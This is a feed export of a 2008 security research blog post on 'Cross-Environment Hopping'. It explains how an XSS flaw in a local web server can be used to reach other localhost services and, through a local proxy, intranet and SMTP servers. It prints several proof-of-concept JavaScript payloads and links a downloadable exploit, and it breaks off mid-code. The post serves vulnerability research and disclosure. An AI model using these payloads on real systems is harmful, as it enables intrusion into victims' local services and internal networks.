<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="http://feeds.feedburner.com/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:thr="http://purl.org/syndication/thread/1.0">
    <title>Watchfire Application Security Insider</title>
    
    <link rel="alternate" type="text/html" href="http://blog.watchfire.com/wfblog/" />
    <id>tag:typepad.com,2003:weblog-1300270</id>
    <updated>2008-06-23T12:59:32+03:00</updated>
    
    <generator uri="http://www.typepad.com/">TypePad</generator>
    <link rel="self" href="http://feeds.feedburner.com/WatchfireApplicationSecurityInsider" type="application/atom+xml" /><entry>
        <title>Cross Environment Hopping</title>
        <link rel="alternate" type="text/html" href="http://blog.watchfire.com/wfblog/2008/06/cross-environ-1.html" />
        <link rel="replies" type="text/html" href="http://blog.watchfire.com/wfblog/2008/06/cross-environ-1.html" thr:count="10" thr:updated="2008-07-04T02:53:02+03:00" />
        <id>tag:typepad.com,2003:post-51719844</id>
        <published>2008-06-23T12:59:32+03:00</published>
        <updated>2008-06-23T17:33:29+03:00</updated>
        <summary>Prologue Our research team has identified a web-based attack technique that exploits the growing number of applications that require a web server being run on a local machine. Cross-Environment Hopping (CEH) is a result of this trend combined with the...</summary>
        <author>
            <name>Yair Amit</name>
        </author>
        <category scheme="http://www.sixapart.com/ns/types#category" term="Research" />
        <category scheme="http://www.sixapart.com/ns/types#category" term="Web Application Security" />
        
        
<content type="html" xml:lang="en-US" xml:base="http://blog.watchfire.com/wfblog/">
&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;p&gt;&lt;strong&gt;&lt;u&gt;Prologue&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Our research team has identified a web-based attack technique that exploits the growing number of applications that require a web server being run on a local machine. Cross-Environment Hopping (CEH) is a result of this trend combined with the current limitations in browsers’ same-origin policy access restrictions. 
&lt;p&gt;The CEH technique enables an attacker to exploit a local XSS vulnerability in order to “hop” to a different environment, such as another locally installed server. Under certain circumstances it may even be possible for an attacker to access remote network services such as network share drives, remote procedure calls, intranet mail, SQL servers, and so on. 
&lt;p&gt;This write-up will prove that the current implementation of same origin policy on the localhost in &lt;b&gt;&lt;i&gt;up-to-date&lt;/i&gt;&lt;/b&gt; Web browsers, combined with the presence of an XSS vulnerability, creates a special set of circumstances that enable environment hopping, and that the resulting malicious activity can be performed on any server running on a designated port. 
&lt;p&gt;We would like to credit Rob Carter for his great work in &lt;a href="http://r00tin.blogspot.com/2008/03/local-web-servers-are-dangerous.html"&gt;describing&lt;/a&gt; the problematic nature of exploiting XSS vulnerabilities in local web servers by taking advantage of the promiscuous security behavior of Internet Explorer 6.
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;u&gt;Current Browser Restrictions&lt;/u&gt;&lt;/strong&gt; 
&lt;p&gt;As browsers are designed to access a wide variety of resources, their access restrictions are essential to maintaining the security of the client. It is imperative that the browser controls information access by limiting one application from accessing resources or information from another application, that belong to a different entity. 
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Same Origin Policy:&lt;/strong&gt; 
&lt;p&gt;The same origin policy is an essential element in client-side scripting (primarily JavaScript) security. A valuable component of this policy is that client-side script cannot read information originating from a different domain. While this does not prevent a browser from making cross-origin HTTP requests, it successfully limits access to the content of other domains. 
&lt;p&gt;The following table outlines various methods that might be used by JavaScript to communicate with external domains. While some are not restricted to the same origin, access to content is limited.&lt;/p&gt;
&lt;table cellspacing="0" cellpadding="2" width="400" border="1"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;
&lt;p align="center"&gt;&lt;strong&gt;Method&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;
&lt;td valign="top" width="133"&gt;
&lt;p align="center"&gt;&lt;strong&gt;Same Origin Policy&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;
&lt;td valign="top" width="133"&gt;
&lt;p align="center"&gt;&lt;strong&gt;Content Access&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;XmlHttpRequest&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Yes&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Yes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;Socket Connections&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Yes&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Yes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;IFrame Element&lt;/td&gt;
&lt;td valign="top" width="133"&gt;No&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Same Origin Only&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;Dynamic Form&lt;/td&gt;
&lt;td valign="top" width="133"&gt;No&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Same Origin Only&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;Script Element&lt;/td&gt;
&lt;td valign="top" width="133"&gt;No&lt;/td&gt;
&lt;td valign="top" width="133"&gt;JavaScript Content Only&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;Image Element&lt;/td&gt;
&lt;td valign="top" width="133"&gt;No&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Height/Width Value Only&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; XML HTTP Requests&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It is interesting to note that different methods of making XML HTTP requests use different components, because different browsers use different implementations. For example, Microsoft Internet Explorer supports the ActiveX component Microsoft.XMLHTTP, while the Firefox browser does not. 
&lt;p&gt;Not only is there a variance in the components used to make these requests, but behavior varies too. For example, the standard XMLHttpRequest object supported by both Microsoft Internet Explorer and Firefox does not support requests across different ports (on the same domain), while many of the implementations through ActiveX that are supported by Internet Explorer do. (These include MSXML2.XMLHTTP, Microsoft.XMLHTTP and various versions and derivatives of these objects.) 
&lt;p&gt;In Firefox and Internet Explorer 7.0, an XMLHttpRequest might be initiated using: 
&lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class="csharpcode"&gt;&lt;pre class="alt"&gt;&lt;span class="kwrd"&gt;var&lt;/span&gt; xhr = &lt;span class="kwrd"&gt;new&lt;/span&gt; XMLHttpRequest();&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In addition, in Microsoft Internet Explorer 7.0 (and earlier versions), this might be initiated using:&lt;/p&gt;
&lt;div class="csharpcode"&gt;&lt;pre class="alt"&gt;&lt;span class="kwrd"&gt;var&lt;/span&gt; xhr = &lt;span class="kwrd"&gt;new&lt;/span&gt; ActiveXObject(&lt;span class="str"&gt;"Microsoft.XMLHTTP"&lt;/span&gt;)&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;While this behavior doesn't seem to have a significant impact in an Internet web environment, it has a huge impact in a desktop web environment: the localhost domain. 
&lt;style type="text/css"&gt;.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }
&lt;/style&gt;
&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Cross Environment Hopping&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cross-Environment Hopping (CEH) is the technique of hopping from the Internet to a port on the victim’s computer, and then hopping from one port (environment) to another on the computer, as illustrated below. 
&lt;p&gt;&lt;a href="http://blog.watchfire.com/wfblog/WindowsLiveWriter/CEH.gif"&gt;&lt;img height="159" alt="CEH" src="http://blog.watchfire.com/wfblog/WindowsLiveWriter/CEH.gif" width="400"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The attack sequence might begin with a blind request (perhaps using an IFrame element) from the attacker to a cross site scripting (XSS) vulnerability on the local web server running on port A. 
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Vulnerabilities in Local Web Servers:&lt;/strong&gt; 
&lt;p&gt;As a vulnerability class, XSS is very prevalent in web applications. Numerous advisories have been published about XSS issues in local web servers. As an example, our own research team has published an advisory about a XSS issue found in the local web server installed by Google Desktop (see "&lt;a href="http://download.watchfire.com/whitepapers/Overtaking-Google-Desktop.pdf " target="_blank"&gt;Overtaking Google Desktop&lt;/a&gt;"). We are also aware of other such vulnerabilities in local web servers, but are restricted from disclosing information at the moment. 
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Cross Application Scripting (XAS):&lt;/strong&gt; 
&lt;p&gt;A second method of initiating the CEH attack is by exploiting a Cross-Application scripting (XAS) attack. This is not a new type of attack. 
&lt;blockquote&gt;
&lt;p&gt;Cross-Application scripting (XAS) is possible when an application executes data in a security context different from the original content (presumably one with less security restrictions). For example the data may be obtained from an un-trusted source (a remote web server) that is sent unfiltered into a trusted application such as when web content is downloaded from a remote server, and then re-displayed on the local host. Any application that downloads and then later displays and executes web content (such as JavaScript) may be vulnerable to XAS (“Cross-Application Scripting”, &lt;a href="http://www.security.nnov.ru/Jdocument327.html" target="_blank"&gt;Security.nnov.ru&lt;/a&gt;)&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp; &lt;p&gt;The impact of a XAS vulnerability is usually access to the Local Computer Zone. One of the suggested countermeasures against XAS is to use a local web server in order to present the information gathered by the application instead of loading it from the file system. 
&lt;p&gt;The fact that the browser loads a page from a local web server guarantees that even if the application doesn't properly filter out hazardous characters (i.e. it is vulnerable to a XSS attack), the Local Computer Zone won't be accessible to attackers. 
&lt;p&gt;However, this countermeasure against XAS means that if the desktop application web interface is vulnerable, a CEH attack is made possible. 
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Crossing Ports Using XML HTTP Requests:&lt;/strong&gt; 
&lt;p&gt;After the initial request has been sent and the victim has been exploited using XSS, the attacker can deliver payloads of his choosing. If the victim is running Microsoft Internet Explorer, the attacker may send ActiveX Microsoft.XMLHTTP requests to other local web servers running on different ports. As the same origin policy does not apply to ports (on Localhost), the attacker is able to read responses and make additional requests through the exploited system. 
&lt;p&gt;The following Cross Site Scripting payload, demonstrates how a malicious JavaScript payload returning from a web server installed on Localhost port 80, can submit an HTTP request to a different web application, installed on Localhost port 8080, and also have access to the information returned in the HTTP response: 
&lt;div class="csharpcode"&gt;&lt;pre class="alt"&gt;&amp;lt;script&amp;gt;&lt;/pre&gt;&lt;pre&gt;    &lt;span class="kwrd"&gt;var&lt;/span&gt; xmlhttp=&lt;span class="kwrd"&gt;new&lt;/span&gt; ActiveXObject(&lt;span class="str"&gt;"Microsoft.XMLHTTP"&lt;/span&gt;);&lt;/pre&gt;&lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;if&lt;/span&gt; (xmlhttp!=&lt;span class="kwrd"&gt;null&lt;/span&gt;)&lt;/pre&gt;&lt;pre&gt;    {&lt;/pre&gt;&lt;pre class="alt"&gt;      xmlhttp.onreadystatechange=state_Change;&lt;/pre&gt;&lt;pre&gt;      xmlhttp.open(&lt;span class="str"&gt;"GET"&lt;/span&gt;,&lt;span class="str"&gt;"http://localhost:8080/some_page.html"&lt;/span&gt;,&lt;span class="kwrd"&gt;true&lt;/span&gt;);&lt;/pre&gt;&lt;pre class="alt"&gt;      xmlhttp.send();&lt;/pre&gt;&lt;pre&gt;        alert(&lt;span class="str"&gt;"Request Sent!"&lt;/span&gt;);&lt;/pre&gt;&lt;pre class="alt"&gt;    }&lt;/pre&gt;&lt;pre&gt;    &lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;pre class="alt"&gt;    {&lt;/pre&gt;&lt;pre&gt;      alert(&lt;span class="str"&gt;"Your browser does not support XMLHTTP."&lt;/span&gt;)&lt;/pre&gt;&lt;pre class="alt"&gt;    }&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;function&lt;/span&gt; state_Change()&lt;/pre&gt;&lt;pre&gt;    {&lt;/pre&gt;&lt;pre class="alt"&gt;       &lt;span class="rem"&gt;// if xmlhttp shows "loaded"&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;       &lt;span class="kwrd"&gt;if&lt;/span&gt; (xmlhttp.readyState==4)&lt;/pre&gt;&lt;pre class="alt"&gt;       {&lt;/pre&gt;&lt;pre&gt;          alert(&lt;span class="str"&gt;'response:'&lt;/span&gt;+xmlhttp.responseText);&lt;/pre&gt;&lt;pre class="alt"&gt;       }&lt;/pre&gt;&lt;pre&gt;    }&lt;/pre&gt;&lt;pre class="alt"&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;style type="text/css"&gt;.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }
&lt;/style&gt;

&lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&amp;nbsp; &lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Crossing Ports Using Socket Connections:&lt;/strong&gt; 
&lt;p&gt;Several client-side technologies are available, which allow the browser to initiate direct socket connections. For example, Java applets, Flash, and QuickTime all allow the opening of direct socket connections with the server of the same origin. Firefox has the unique distinction that direct socket connections are allowed using Java natively within JavaScript. 
&lt;p&gt;The following code will open a direct socket connection to the localhost on port 9999: 
&lt;div class="csharpcode"&gt;&lt;pre class="alt"&gt;socket = &lt;span class="kwrd"&gt;new&lt;/span&gt; java.net.Socket( &lt;span class="str"&gt;"localhost"&lt;/span&gt;, 9999 );&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Exploiting this ability, the attacker can send a request that hops from the local web server to any local server that the victim is running. 
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Theoretical Outcome&lt;/u&gt;&lt;/strong&gt; 
&lt;p&gt;The potential exploitation of Cross-Environment Hopping could lead to many different outcomes. This write-up will consider only a few of the possibilities available to the malicious individual.&lt;/p&gt;
&lt;style type="text/css"&gt;.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }
&lt;/style&gt;

&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Cross Web Application Access:&lt;/strong&gt; 
&lt;p&gt;An attacker could use ActiveX (XMLHTTP) components to send HTTP requests to web applications running on different ports. As web applications running on other ports are unlikely to be related (on Localhost), this could lead to significant application compromise. Web applications running on Localhost are likely to contain sensitive information (e.g. Google Desktop). 
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Public Share Enumeration:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;During this research, we have managed to create a working exploit that demonstrates how an attacker may enumerate any public shares on the local computer using the SMB protocol. You can download the exploit zip file in &lt;a href="http://blog.watchfire.com/Share_Enum_Example.zip" target="_blank"&gt;this link&lt;/a&gt;. (works only on Firefox)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Local Proxy Exploitation:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The most significant damage of all, is possible if the victim happens to be running a local proxy server. As the local proxy server is merely used to pass through network traffic, it might be possible to use the victim’s machine as a conduit for an attack against the local network. 
&lt;p&gt;There are numerous examples of commercial products that install an HTTP proxy on the Localhost. In our examples we installed AVAST Anti Virus (v4.7), which goes even further and allows proxying using the HTTP CONNECT method (The importance of HTTP CONNECT will be demonstrated in the section “Accessing Non-HTTP Services Using HTTP CONNECT Method”, below.) 
&lt;p&gt;The Cross-site Scripting payload below performs a GET request to &lt;a href="http://www.intranet.site/"&gt;www.intranet.site&lt;/a&gt; using Java socket connection in JavaScript on Firefox and exploits the proxy that is running on Localhost: (line wrapped) 
&lt;div class="csharpcode"&gt;&lt;pre class="alt"&gt;&amp;lt;script&amp;gt;&lt;/pre&gt;&lt;pre&gt;    &lt;span class="kwrd"&gt;var&lt;/span&gt; sock = &lt;span class="kwrd"&gt;new&lt;/span&gt; java.net.Socket(&lt;span class="str"&gt;"localhost"&lt;/span&gt;, LOCAL_PROXY_PORT);&lt;/pre&gt;&lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;var&lt;/span&gt; write = &lt;span class="kwrd"&gt;new&lt;/span&gt; java.io.DataOutputStream(&lt;span class="kwrd"&gt;new&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;    java.io.BufferedOutputStream(sock.getOutputStream()));&lt;/pre&gt;&lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;var&lt;/span&gt; read = &lt;span class="kwrd"&gt;new&lt;/span&gt; java.io.DataInputStream(sock.getInputStream());&lt;/pre&gt;&lt;pre&gt;    write.writeBytes&lt;/pre&gt;&lt;pre&gt;(&lt;span class="str"&gt;"GET http://www.intranet.site:80/ HTTP/1.0\r\n\r\n"&lt;/span&gt;);&lt;/pre&gt;&lt;pre class="alt"&gt;    write.flush();&lt;/pre&gt;&lt;pre&gt;    &lt;span class="kwrd"&gt;var&lt;/span&gt; buf1 = &lt;/pre&gt;&lt;pre&gt;java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536);&lt;/pre&gt;&lt;pre class="alt"&gt;    len = read.read(buf1);&lt;/pre&gt;&lt;pre&gt;    &lt;span class="kwrd"&gt;var&lt;/span&gt; resp = &lt;span class="str"&gt;""&lt;/span&gt;;&lt;/pre&gt;&lt;pre class="alt"&gt;    &lt;/pre&gt;&lt;pre&gt;    &lt;span class="kwrd"&gt;for&lt;/span&gt; (i=0;i&amp;lt;len;i++)&lt;/pre&gt;&lt;pre class="alt"&gt;    {&lt;/pre&gt;&lt;pre&gt;        resp += String.fromCharCode(buf1[i])&lt;/pre&gt;&lt;pre class="alt"&gt;    }&lt;/pre&gt;&lt;pre&gt;    &lt;/pre&gt;&lt;pre class="alt"&gt;    alert(resp);&lt;/pre&gt;&lt;pre&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The malicious JavaScript code has full access to the HTTP response coming from a completely different domain. 
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Accessing Non-HTTP Services Using the HTTP CONNECT Method:&lt;/strong&gt; 
&lt;p&gt;Some proxy servers allow the tunneling of TCP protocols using the HTTP CONNECT method. The tunneling technique is used mostly for tunneling SSL traffic through proxies, but it can be used for tunneling all kinds of traffic. 
&lt;p&gt;A standard handshake for HTTP CONNECT tunneling between a client and a proxy might look like this: 
&lt;p&gt;&lt;strong&gt;Client HTTP Request:&lt;/strong&gt; 
&lt;p&gt;&lt;font face="Courier New" size="2"&gt;CONNECT www.some.site:1234 HTTP/1.0 [CRLF]&lt;br&gt;User-agent: Some-Client [CRLF]&lt;br&gt;[CRLF]&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Proxy Server HTTP Response:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face="Courier New" size="2"&gt;HTTP/1.0 200 Connection established [CRLF]&lt;br&gt;Proxy-agent: Some-Proxy/1.0[CRLF]&lt;br&gt;[CRLF] &lt;/font&gt;&lt;/p&gt;
&lt;p&gt;If the handshake was successful, the client is now free to communicate with &lt;a href="http://www.some.site/"&gt;www.some.site&lt;/a&gt; (using the service on port 1234), through the HTTP tunnel that was created. 
&lt;p&gt;The following Cross-site scripting example establishes a connection between the victim's computer and a remote SMTP server, using the SMTP protocol. Communication is tunneled through a locally installed proxy server that supports the HTTP CONNECT method, which avoids same-domain policy restrictions while enabling non-HTTP traffic:&lt;/p&gt;
&lt;div style="border-right: gray 1px solid; padding-right: 4px; border-top: gray 1px solid; padding-left: 4px; font-size: 8pt; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, 'Courier New', courier, monospace; background-color: #f4f4f4"&gt;
&lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;lt;script&amp;gt;&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;    &lt;span style="color: #0000ff"&gt;var&lt;/span&gt; sock = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; java.net.Socket(&lt;span style="color: #006080"&gt;"localhost"&lt;/span&gt;, LOCAL_PROXY_PORT);&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    &lt;span style="color: #0000ff"&gt;var&lt;/span&gt; write = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; java.io.DataOutputStream(&lt;span style="color: #0000ff"&gt;new&lt;/span&gt; java.io.BufferedOutputStream(sock.getOutputStream()));&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;    &lt;span style="color: #0000ff"&gt;var&lt;/span&gt; read = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; java.io.DataInputStream(sock.getInputStream());&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    &lt;span style="color: #0000ff"&gt;var&lt;/span&gt; buf1 = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536);&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;    &lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    &lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;    write.writeBytes(&lt;span style="color: #006080"&gt;"CONNECT mailserver:25\r\n\r\n"&lt;/span&gt;);&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    alert(&lt;span style="color: #006080"&gt;"CONNECT sent"&lt;/span&gt;);&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;    write.flush();&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    read.read(buf1);&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;    &lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    write.writeBytes(&lt;span style="color: #006080"&gt;"HELO mail\r\n"&lt;/span&gt;);&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;    alert(&lt;span style="color: #006080"&gt;"HELO sent"&lt;/span&gt;);&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    write.flush();&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;    len = read.read(buf1);&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    &lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;    &lt;span style="color: #0000ff"&gt;var&lt;/span&gt; resp = &lt;span style="color: #006080"&gt;""&lt;/span&gt;;&lt;/pre&gt;&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: 